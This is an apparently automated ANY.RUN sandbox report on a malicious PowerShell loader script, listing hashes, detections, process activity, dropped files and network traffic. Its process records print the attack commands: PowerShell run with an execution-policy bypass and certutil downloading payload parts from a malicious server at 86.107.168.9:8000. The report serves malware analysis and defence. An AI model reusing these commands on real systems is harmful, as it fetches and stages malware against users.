File name:

loader.ps1

Full analysis: https://app.any.run/tasks/607f39cf-c31a-4d9d-94e1-b30961f21dab
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: July 06, 2025, 01:46:30
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text
MD5:

D04F5AAB229D505FDD7E473856D1B77E

SHA1:

6F885639C24955427C050AB0B8E0A5786A372DD9

SHA256:

92F3C68D059F5856A0BDB2B44A74552E74CAAD8C4B34FA06FFAF416239528199

SSDEEP:

48:S1YXQ6q1Kb1K71KzXETDem7z/ftohIQ+BfG:66sU+0Eem7zOhwZG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2696)

    • Starts CertUtil for downloading files

      • cmd.exe (PID: 7080)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2696)

    • Changes AMSI initialization state that disables detection systems (POWERSHELL)

      • powershell.exe (PID: 2696)

    • Connects to unusual port

      • certutil.exe (PID: 3756)
      • certutil.exe (PID: 3644)
      • certutil.exe (PID: 2076)

  • INFO

    • Checks proxy server information

      • certutil.exe (PID: 2076)
      • certutil.exe (PID: 3756)
      • certutil.exe (PID: 3644)
      • slui.exe (PID: 7080)

    • Creates files or folders in the user directory

      • certutil.exe (PID: 2076)
      • certutil.exe (PID: 3756)
      • certutil.exe (PID: 3644)

    • Reads security settings of Internet Explorer

      • certutil.exe (PID: 2076)
      • certutil.exe (PID: 3756)
      • certutil.exe (PID: 3644)

    • Create files in a temporary directory

      • certutil.exe (PID: 2076)
      • certutil.exe (PID: 3756)
      • certutil.exe (PID: 3644)

    • Reads the software policy settings

      • slui.exe (PID: 7080)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
152
Monitored processes
7
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs cmd.exe no specs certutil.exe certutil.exe certutil.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
2076certutil -urlcache -split -f http://86.107.168.9:8000/part1.txt C:\Users\admin\AppData\Local\Temp\_p1 C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2696"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\loader.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
3644certutil -urlcache -split -f http://86.107.168.9:8000/config.txt C:\Users\admin\AppData\Local\Temp\_cfgC:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
3756certutil -urlcache -split -f http://86.107.168.9:8000/part2.txt C:\Users\admin\AppData\Local\Temp\_p2 C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
5340\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7080"C:\WINDOWS\system32\cmd.exe" /c "certutil -urlcache -split -f http://86.107.168.9:8000/part1.txt %temp%\_p1 & certutil -urlcache -split -f http://86.107.168.9:8000/part2.txt %temp%\_p2 & certutil -urlcache -split -f http://86.107.168.9:8000/config.txt %temp%\_cfg"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
7080C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
6 332
Read events
6 323
Write events
9
Delete events
0

Modification events

(PID) Process:(2076) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2076) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2076) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(3756) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(3644) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(3644) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3644) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(3756) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3756) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
0
Suspicious files
7
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
2696powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_py5mynbv.wtr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2076certutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\part1[1].txttext
MD5:BEC246B2A5612EEE7ACDBAA4596D89F3
SHA256:B351AE6B0CF7CBAE98D7A4B6B1AF129DDCE7DB08ECC1CAA79BFCCBEDDD9ED9ED
2696powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LRIP8G1R6C7UAV16X1AI.tempbinary
MD5:22615E49BA6D99A232EE67B6C5384A7E
SHA256:F3F66932CA272153144963112A67CAED24BB302B1C8EF99DAF8BFD657467EFBB
2696powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:22615E49BA6D99A232EE67B6C5384A7E
SHA256:F3F66932CA272153144963112A67CAED24BB302B1C8EF99DAF8BFD657467EFBB
2696powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF174a86.TMPbinary
MD5:00A03B286E6E0EBFF8D9C492365D5EC2
SHA256:4DBFC417D053BA6867308671F1C61F4DCAFC61F058D4044DB532DA6D3BDE3615
3644certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EF60C5D69EEC99968B915F944B9D0B12text
MD5:3D25B21738214BFC920E1F355E474EB7
SHA256:21B784BEB41DF7F4D9D2BAD2C8F1BE2883FA0417CD5AE088891BFF737E8FBD20
2076certutil.exeC:\Users\admin\AppData\Local\Temp\_p1text
MD5:BEC246B2A5612EEE7ACDBAA4596D89F3
SHA256:B351AE6B0CF7CBAE98D7A4B6B1AF129DDCE7DB08ECC1CAA79BFCCBEDDD9ED9ED
2076certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BCE20275DF0F361743FA5372F5EB9BBBbinary
MD5:70D0AB0EB53C67C974F64D9419940ECF
SHA256:7D6640D1231919F7E87DE4166A3D537E7881277E68E73309AECDA24B8A082904
3756certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0E3182F494433EE364AC1E142DF2EA6Dtext
MD5:1DC201B5806F7F76EB63D3343C097313
SHA256:0CC591DB59D90138623CD17A214B6636E697F05E91EFBBCABB0D60FF67FD3FCC
2696powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:1832C433216E55D4B6C49767CB80AFAD
SHA256:3937AA1EA202AC2F173F0C4C2EB54E6D7CA64788D56785CD531E99AC567E0F40
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
37
DNS requests
24
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3644
certutil.exe
GET
200
86.107.168.9:8000
http://86.107.168.9:8000/config.txt
unknown
—
—
malicious
1268
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2076
certutil.exe
GET
200
86.107.168.9:8000
http://86.107.168.9:8000/part1.txt
unknown
—
—
malicious
3644
certutil.exe
GET
200
86.107.168.9:8000
http://86.107.168.9:8000/config.txt
unknown
—
—
malicious
2076
certutil.exe
GET
200
86.107.168.9:8000
http://86.107.168.9:8000/part1.txt
unknown
—
—
malicious
3756
certutil.exe
GET
200
86.107.168.9:8000
http://86.107.168.9:8000/part2.txt
unknown
—
—
malicious
3756
certutil.exe
GET
200
86.107.168.9:8000
http://86.107.168.9:8000/part2.txt
unknown
—
—
malicious
6876
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
23.216.77.6:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3740
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1268
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2160
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2076
certutil.exe
86.107.168.9:8000
—
Euroweb SRL
MD
malicious
4
System
192.168.100.255:138
—
—
—
whitelisted
3756
certutil.exe
86.107.168.9:8000
—
Euroweb SRL
MD
malicious
3644
certutil.exe
86.107.168.9:8000
—
Euroweb SRL
MD
malicious
1268
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1268
svchost.exe
23.216.77.6:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 51.124.78.146
whitelisted
google.com
  • 142.250.186.174
whitelisted
crl.microsoft.com
  • 23.216.77.6
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
login.live.com
  • 40.126.31.131
  • 20.190.159.68
  • 20.190.159.71
  • 40.126.31.73
  • 20.190.159.128
  • 20.190.159.73
  • 20.190.159.64
  • 40.126.31.0
  • 40.126.32.136
  • 40.126.32.133
  • 20.190.160.2
  • 40.126.32.134
  • 20.190.160.132
  • 40.126.32.140
  • 20.190.160.131
  • 20.190.160.64
whitelisted
ocsp.digicert.com
  • 2.17.190.73
  • 2.23.77.188
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
nexusrules.officeapps.live.com
  • 52.111.227.11
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
loader.ps1